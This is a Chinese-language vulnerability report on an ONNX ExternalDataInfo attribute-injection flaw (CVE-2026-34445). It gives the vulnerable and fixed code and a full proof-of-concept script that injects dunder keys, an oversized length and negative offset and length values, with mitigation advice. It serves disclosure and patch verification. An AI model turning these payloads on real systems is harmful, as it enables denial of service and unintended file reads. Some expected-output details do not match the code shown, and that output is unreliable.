基本信息

项目 内容
CVE编号 CVE-2026-34445
漏洞名称 ONNX ExternalDataInfo 属性注入/对象状态损坏漏洞
影响组件 Open Neural Network Exchange (ONNX)
影响版本 < 1.21.0
修复版本 1.21.0
漏洞类型 CWE-915: 动态确定对象属性的不当控制修改
CWE-400: 未控制的资源消耗
CWE-20: 不当的输入验证
CVSS 3.1 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H)
参考链接 https://github.com/onnx/onnx/security/advisories/GHSA-538c-55jv-c5g9
https://github.com/onnx/onnx/pull/7751
https://github.com/onnx/onnx/commit/e30c6935d67cc3eca2fa284e37248e7c0036c46b

一、漏洞描述

Open Neural Network Exchange (ONNX) 是一个开放的机器学习互操作性标准。在其 1.21.0 版本之前,ExternalDataInfo 类在处理 ONNX 模型文件的外部数据元数据时存在安全缺陷。

该类使用 Python 的 setattr() 函数直接从模型文件中加载元数据(如文件路径、数据长度等),但未对文件中的"键"(keys)进行有效性验证。攻击者可以构造恶意的 ONNX 模型文件,通过注入任意属性键来覆盖对象的内部属性,导致对象状态损坏、拒绝服务或其他未预期的行为。


二、漏洞危害

2.1 攻击向量概述

攻击类型 危害描述 严重程度
Dunder属性注入 注入 __class____dict__ 等双下划线属性,破坏 Python 对象内部状态,可能导致类型混淆攻击
任意属性注入 ExternalDataInfo 对象上创建任意属性,为后续代码逻辑埋下安全隐患
拒绝服务 (DoS) length 设置为极大值(如 9PB),导致系统尝试分配海量内存,引发 OOM 崩溃
访问绕过 设置负值 offset(如 -1),可能导致 file.seek() 读取文件的非预期部分
文件读取绕过 设置负值 length 导致 file.read(-1) 读取整个文件,绕过预期的大小限制

2.2 CVSS 评分详情

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

攻击向量 (AV): Network - 可通过网络远程攻击
攻击复杂度 (AC): Low - 攻击条件简单,无需特殊条件
所需权限 (PR): None - 无需任何权限
用户交互 (UI): None - 无需用户交互
影响范围 (S): Unchanged - 不影响其他组件
机密性影响 (C): Low - 可能导致部分信息泄露
完整性影响 (I): Low - 可能导致部分数据被修改
可用性影响 (A): High - 可能导致系统完全不可用

基础分: 8.6 (HIGH)

三、漏洞成因

3.1 漏洞代码位置

文件: onnx/external_data_helper.py
: ExternalDataInfo
方法: __init__()

3.2 漏洞代码分析

存在漏洞的代码(v1.20.0及之前):

class ExternalDataInfo:
    def __init__(self, tensor: TensorProto) -> None:
        self.location = ""
        self.offset: Optional[int] = None
        self.length: Optional[int] = None
        self.checksum: Optional[str] = None
        
        # 漏洞点:直接遍历 external_data 并执行 setattr,无白名单校验
        for entry in tensor.external_data:
            # entry.key 和 entry.value 完全来自用户可控的模型文件
            setattr(self, entry.key, entry.value)  # <-- 危险操作!

3.3 漏洞根因

  1. 缺乏输入验证: tensor.external_data 是模型文件中的 StringStringEntryProto 键值对,攻击者可以构造任意 key。
  2. 直接 setattr: 使用 setattr(self, key, value) 直接将外部数据设置为对象属性,没有对 key 进行白名单限制。
  3. 缺乏边界检查: offsetlength 没有进行非负整数校验。

3.4 修复方案(v1.21.0)

# 定义允许的外部数据键白名单
_ALLOWED_EXTERNAL_DATA_KEYS = frozenset(
    {"location", "offset", "length", "checksum", "basepath"}
)

class ExternalDataInfo:
    def __init__(self, tensor: TensorProto) -> None:
        self.location = ""
        self.offset: Optional[int] = None
        self.length: Optional[int] = None
        self.checksum: Optional[str] = None
        self.basepath: str = ""
        
        unknown_keys = []
        for entry in tensor.external_data:
            if entry.key not in _ALLOWED_EXTERNAL_DATA_KEYS:
                # Layer 1: 白名单校验,拒绝未知 key
                unknown_keys.append(entry.key)
                continue
            
            # Layer 2: 边界校验,offset/length 必须为非负整数
            if entry.key in ("offset", "length"):
                try:
                    value = int(entry.value)
                    if value < 0:
                        raise ValueError(
                            f"{entry.key} must be non-negative, got {value}"
                        )
                except ValueError as e:
                    raise ValueError(
                        f"Invalid {entry.key} value: {entry.value}"
                    ) from e
            
            setattr(self, entry.key, entry.value)
        
        # 对未知 key 发出警告
        if unknown_keys:
            warnings.warn(
                f"Ignoring unknown external_data keys: {unknown_keys}"
            )

四、POC(概念验证)

4.1 环境准备

# 安装受影响的 ONNX 版本
pip install onnx==1.20.0 numpy protobuf

# 验证版本
python -c "import onnx; print(onnx.__version__)"

4.2 POC 代码

创建文件 poc_cve_2026_34445.py:

#!/usr/bin/env python3
"""
CVE-2026-34445 / GHSA-538c-55jv-c5g9 
ONNX ExternalDataInfo 属性注入漏洞 POC
"""

import warnings
import onnx
from onnx.external_data_helper import ExternalDataInfo
from onnx import TensorProto


def test_attribute_injection():
    """
    测试1: 属性注入攻击
    验证是否可以将任意属性注入 ExternalDataInfo 对象
    """
    print("=" * 70)
    print("[测试1] 属性注入攻击 (CWE-915)")
    print("=" * 70)
    
    # 创建一个 TensorProto,模拟恶意模型中的张量
    tensor = TensorProto()
    tensor.name = "malicious_tensor"
    
    # 添加正常的外部数据字段
    location = tensor.external_data.add()
    location.key = "location"
    location.value = "model.bin"
    
    # 添加恶意属性 - 尝试覆盖内部属性
    malicious_attrs = [
        ("__class__", "hacked_class"),          # Dunder 属性
        ("__dict__", "hacked_dict"),            # 对象字典
        ("__module__", "hacked_module"),        # 模块名
        ("evil_attribute", "malicious_value"),  # 任意自定义属性
        ("_private_attr", "private_value"),     # 伪私有属性
    ]
    
    for key, value in malicious_attrs:
        entry = tensor.external_data.add()
        entry.key = key
        entry.value = value
    
    print(f"[+] 构造的 TensorProto 包含 {len(tensor.external_data)} 个 external_data 条目:")
    for e in tensor.external_data:
        print(f"    - key: '{e.key}' = '{e.value}'")
    
    # 捕获警告(修复版本会发出警告)
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always")
        
        try:
            info = ExternalDataInfo(tensor)
            print(f"\n[+] ExternalDataInfo 对象创建成功")
            
            # 检查哪些恶意属性被成功注入
            injected = []
            for key, expected in malicious_attrs:
                if hasattr(info, key):
                    actual = getattr(info, key)
                    injected.append((key, actual))
                    print(f"    [!] 属性注入成功: '{key}' = '{actual}'")
            
            if injected:
                print(f"\n[漏洞确认] 以下非标准属性被注入到对象中:")
                for key, val in injected:
                    print(f"    - {key}: {val}")
                
                # 检查对象 __dict__
                print(f"\n[对象内部状态] __dict__: {info.__dict__}")
                return True
            else:
                print("\n[-] 未发现注入属性,可能已修复")
                return False
                
        except Exception as e:
            print(f"\n[-] 发生异常: {type(e).__name__}: {e}")
            if "whitelist" in str(e).lower() or "not in" in str(e).lower():
                print("[+] 可能是修复版本的防护机制")
            return False


def test_dos_attack():
    """
    测试2: 拒绝服务攻击
    通过设置极大的 length 值导致内存分配失败
    """
    print("\n" + "=" * 70)
    print("[测试2] 拒绝服务攻击 (CWE-400) - 超大 length")
    print("=" * 70)
    
    tensor = TensorProto()
    tensor.name = "dos_tensor"
    
    location = tensor.external_data.add()
    location.key = "location"
    location.value = "dummy.bin"
    
    # 设置极大的 length(9PB)
    length = tensor.external_data.add()
    length.key = "length"
    length.value = "9007199254740992"  # 9 Petabytes
    
    print(f"[+] 构造恶意 Tensor,length = {length.value} (9PB)")
    
    try:
        info = ExternalDataInfo(tensor)
        print(f"[+] ExternalDataInfo 创建成功")
        print(f"    - length 值: {info.length}")
        
        # 尝试模拟加载外部数据时的内存分配
        if info.length:
            length_int = int(info.length)
            print(f"    [!] 如果加载此数据,将尝试分配 {length_int / (1024**5):.2f} PB 内存!")
            print("    [!] 这将导致系统 OOM 崩溃")
            return True
            
    except ValueError as e:
        print(f"[+] 修复版本行为: 检测到非法值,抛出 ValueError: {e}")
        return False
    except Exception as e:
        print(f"[-] 其他异常: {type(e).__name__}: {e}")
        return False


def test_negative_offset():
    """
    测试3: 负偏移攻击
    负 offset 可能导致文件读取位置异常
    """
    print("\n" + "=" * 70)
    print("[测试3] 负偏移攻击 - 负 offset 值")
    print("=" * 70)
    
    tensor = TensorProto()
    tensor.name = "offset_attack_tensor"
    
    location = tensor.external_data.add()
    location.key = "location"
    location.value = "target.bin"
    
    # 设置负 offset
    offset = tensor.external_data.add()
    offset.key = "offset"
    offset.value = "-1"  # 负偏移
    
    print(f"[+] 构造恶意 Tensor,offset = {offset.value}")
    
    try:
        info = ExternalDataInfo(tensor)
        print(f"[+] ExternalDataInfo 创建成功")
        print(f"    - offset 值: {info.offset}")
        
        if int(info.offset) < 0:
            print("    [!] 漏洞确认: offset 可以为负值!")
            print("    [!] 这可能导致 file.seek(-1) 产生非预期行为")
            return True
            
    except ValueError as e:
        print(f"[+] 修复版本行为: 拒绝负值 offset: {e}")
        return False
    except Exception as e:
        print(f"[-] 其他异常: {type(e).__name__}: {e}")
        return False


def test_negative_length():
    """
    测试4: 负 length 攻击
    负 length 会导致 file.read(-1) 读取整个文件
    """
    print("\n" + "=" * 70)
    print("[测试4] 负 length 攻击 - 负 length 值")
    print("=" * 70)
    
    tensor = TensorProto()
    tensor.name = "length_attack_tensor"
    
    location = tensor.external_data.add()
    location.key = "location"
    location.value = "secret.bin"
    
    # 设置负 length
    length = tensor.external_data.add()
    length.key = "length"
    length.value = "-100"
    
    print(f"[+] 构造恶意 Tensor,length = {length.value}")
    
    try:
        info = ExternalDataInfo(tensor)
        print(f"[+] ExternalDataInfo 创建成功")
        print(f"    - length 值: {info.length}")
        
        if int(info.length) < 0:
            print("    [!] 漏洞确认: length 可以为负值!")
            print("    [!] 这将导致 file.read(-1) 读取整个文件,绕过大小限制")
            return True
            
    except ValueError as e:
        print(f"[+] 修复版本行为: 拒绝负值 length: {e}")
        return False
    except Exception as e:
        print(f"[-] 其他异常: {type(e).__name__}: {e}")
        return False


def show_version_info():
    """显示版本信息"""
    print("\n" + "=" * 70)
    print("[环境信息]")
    print("=" * 70)
    print(f"ONNX 版本: {onnx.__version__}")
    print(f"Python 版本: {__import__('sys').version}")
    
    # 检查是否存在白名单
    try:
        from onnx.external_data_helper import _ALLOWED_EXTERNAL_DATA_KEYS
        print(f"\n修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS")
        print(f"允许字段: {_ALLOWED_EXTERNAL_DATA_KEYS}")
        return True
    except ImportError:
        print("\n漏洞版本: 未检测到白名单机制")
        return False


if __name__ == "__main__":
    print("""
    ============================================================
    CVE-2026-34445 / GHSA-538c-55jv-c5g9
    ONNX ExternalDataInfo 属性注入漏洞 POC
    ============================================================
    """)
    
    # 显示环境信息
    is_patched = show_version_info()
    
    # 运行测试
    results = []
    
    results.append(("属性注入", test_attribute_injection()))
    results.append(("DoS攻击", test_dos_attack()))
    results.append(("负偏移", test_negative_offset()))
    results.append(("负长度", test_negative_length()))
    
    # 总结
    print("\n" + "=" * 70)
    print("[测试结果汇总]")
    print("=" * 70)
    
    vulnerable_count = sum(1 for _, r in results if r)
    
    for test_name, is_vulnerable in results:
        status = "存在漏洞" if is_vulnerable else "已修复/无漏洞"
        print(f"    {test_name}: {status}")
    
    print(f"\n[*] 检测到 {vulnerable_count}/4 个测试项存在漏洞")
    
    if vulnerable_count > 0 and not is_patched:
        print("\n[!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!")
        print("[!] 建议: 立即升级到 ONNX >= 1.21.0")
    elif vulnerable_count == 0 and is_patched:
        print("\n[+] 结论: 当前 ONNX 版本已修复 CVE-2026-34445")
    else:
        print("\n[?] 结论: 测试结果不一致,请手动验证")

4.3 运行 POC

python poc_cve_2026_34445.py

4.4 预期输出(漏洞版本 < 1.21.0)

[测试1] 属性注入攻击 (CWE-915)
============================================================
[+] 构造的 TensorProto 包含 6 个 external_data 条目:
    - key: 'location' = 'model.bin'
    - key: '__class__' = 'hacked_class'
    ...

[!] 属性注入成功: '__class__' = 'hacked_class'
[!] 属性注入成功: 'evil_attribute' = 'malicious_value'
...
[漏洞确认] 以下非标准属性被注入到对象中

[测试2] 拒绝服务攻击 (CWE-400)
============================================================
[!] 如果加载此数据,将尝试分配 8.00 PB 内存!
[!] 这将导致系统 OOM 崩溃

[!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!

4.5 预期输出(修复版本 >= 1.21.0)

[环境信息]
修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS
允许字段: {'location', 'offset', 'length', 'checksum', 'basepath'}

[测试1] 属性注入攻击 (CWE-915)
============================================================
[+] 修复版本行为: 检测到非法值,抛出 ValueError

[+] 结论: 当前 ONNX 版本已修复 CVE-2026-34445

五、修复建议

5.1 临时缓解措施

  1. 输入验证: 在加载外部模型前,使用 ONNX 的 checker 工具验证模型
  2. 沙箱环境: 在隔离环境中加载不可信的 ONNX 模型
  3. 资源限制: 使用容器限制内存使用,防止 DoS 攻击

5.2 官方修复方案

强烈建议升级到 ONNX 1.21.0 或更高版本:

pip install --upgrade onnx>=1.21.0

5.3 三层防御架构

官方修复采用了纵深防御策略:

防御层 功能 位置
Layer 1 属性白名单校验 ExternalDataInfo.__init__
Layer 2 非负整数边界校验 ExternalDataInfo.__init__
Layer 3 文件大小验证 load_external_data_for_tensor()

六、时间线

时间 事件
2026-03-17 GitHub Security Advisory 发布 (GHSA-538c-55jv-c5g9)
2026-03-17 PR #7751 合并到 main 分支
2026-04-01 CVE-2026-34445 正式分配并录入 NVD
2026-04-01 ONNX 1.21.0 发布,包含安全修复

免责声明

本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为,请遵守相关法律法规。使用本报告中的信息所造成的任何后果,与报告作者无关。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐